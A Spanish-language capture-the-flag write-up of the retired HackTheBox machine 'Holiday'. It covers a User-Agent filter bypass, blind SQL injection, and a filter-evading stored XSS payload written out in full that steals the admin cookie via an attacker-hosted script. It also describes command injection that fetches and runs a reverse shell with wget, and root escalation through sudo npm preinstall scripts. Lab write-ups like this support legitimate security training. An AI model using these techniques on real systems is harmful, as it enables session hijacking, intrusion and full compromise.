[HTB old-but-gold write-ups] Holiday

Buenos días a todos!! Hace tiempo que no había ninguna entrada de máquinas antiguas de HackTheBox así que, qué mejor máquina para estas fiestas que Holiday??



Durante el proceso aprenderemos a bypassear fitros XSS y de User-Agent, a llevar a cabo un ataque Stored XSS exitoso, abusar de privilegios NOPASSWD en sudo y a explotar configuraciones erróneas en NPM. Vamos con ello!

Scanning

Como siempre, empezamos con un SYN scan para descubrir puertos abiertos de la forma más rápida y sigilosa posible. Tras esto, podemos comprobar las versiones y ejecutar scripts NSE seguros.

-sS


-sV

Enumeración

Aparentemente nuestra única vía de enumeración es el puerto 8000 con el servidor node.js, pero lanzando el típico comando gobuster no devuelve ningún resultado. ¿A qué se debe? Habilitamos nuestro proxy en burp y vemos qué aspecto tienen nuestras peticiones:

Nota: Para hacer esto, he utilizado otro host aleatorio (concretamente SecNotes) para ver una petición válida de gobuster.




¿No nos delata un poco ese header? Tras darle un par de vueltas y realizar varias pruebas, se puede comprobar que si modificamos el header desde Burp e indicamos el típico de un navegador web (para Firefox --> "User-Agent: Mozilla/5.0 (X11; Linux x86_64;rv:52.0) Gecko/20100101 Firefox/52.0") obtenemos resultados en nuestra búsqueda.


Encontramos una página de login, sobre la que intentaremos encontrar algún tipo de SQLi.

Realizar esta tarea de forma manual es algo complicado y tedioso, pues encontraremos que se trata de una blind boolean SQLi. Para ayudarnos en esta tarea tenemos a nuestro amigo SQLmap.


Conociendo qué DBMS es, podemos continuar con nuestro ataque, filtrando las tablas y por último, dumpeando los contenidos.



Encontraremos las credenciales de un usuario en la tabla users.



Decodeando el hash en cualquier herramienta online (https://hashkiller.co.uk/md5-decrypter.aspx) encontramos que la contraseña es nevergonnagiveyouup.

Tras esto podremos loggearnos y encontraremos una página con notas creadas por los usuarios. Nuestro reto será incluir un stored XSS, pues cada cierto tiempo, un administrador se conecta y revisa las notas, pero esto no será tan sencillo como parece, puesto que la web cuenta con un filtro XSS. Nuestra solución será utilizar la función fromCharCode() para hacerlo indetectable por el filtro y obtener nuestro XSS.


Exploiting

Pondremos un servidor python HTTP en el puerto 8000 para servir nuestro exploit y un netcat en el puerto 80 para ver la respuesta de nuestra víctima. El contenido final de nuestra nota será:
<img src="x/><script>eval(String.fromCharCode(CHARCODE));</script>">, donde CHARCODE será el comando document.write('<script src="<dirección del exploit de tu http server>"></script>' en charcode (utilizar cualquier herramienta online: jdstiles.com/java/cct.html)

Podremos ver que se filtra la cookie del administrador en la respuesta.



Utilizando el addon de firefox "Cookie Manager" podremos modificar la cookie connect.sid para utilizar la del admin y acceder a la página /admin/, donde eoncontraremos una utilidad para exportar tablas.
Esta utilidad se puede explotar para ejecutar comandos de forma remota, pero también cuenta con filtros.


La forma de evadir el filtro será en codear /& en formato URL seguido del comando que necesitemos.


Para obtener shell tendremos que seguir dos pasos:
  • Realizar una petición http a un fichero en nuestro equipo que contenga una reverse shell.
    • Utilizaremos wget con la IP en notación decimal,pues la inyección no admite puntos. Utilizaremos cualquier tool online (http://www.vermiip.es/convertir-ip-decimal/) para ello.
  • Ejecutar el fichero descargado indicando bash+<nombre_archivo> en la inyección.

El resultado será una shell totalmente funcional, de la que podremos leer la flag de usuario.

Privesc

La escalada es bastante más sencilla y rápida. Para empezar, utilizaremos el viejo truco de python (esta vez con python3, que es el que tiene la máquina) para trabajar más cómodos.


Ejecutando sudo -l descubrimos que npm se puede ejecutar como root sin contraseña.


Al igual que pip, esto representa una mala configuración porque se pueden indicar requisitos en el preinstall, lo que nos permitirá obtener nuestra sesión de root simplemente ejecutando un archivo json con un preinstall. Simplemente tendremos que seguir dos pasos:
  • Crear un archivo package.json que incluya un /bin/bash en los scripts de preinstalación.
  • Ejecutar /usr/bin/npm con sudo indicando el modo unsafe.

Y ya tendríamos nuestra shell de root!!

Y hasta aquí el post de hoy, cualquier duda o sugerencia, no dudes en dejar un comentario o pregunta en el canal de Telegram - HackTheBox Hispano.

Si tienes algún write-up no dudes en decírnoslo para darte acceso al repositorio de write-ups de Hackplayers: https://github.com/Hackplayers/hackthebox-writeups/blob/master/README.md

Comentarios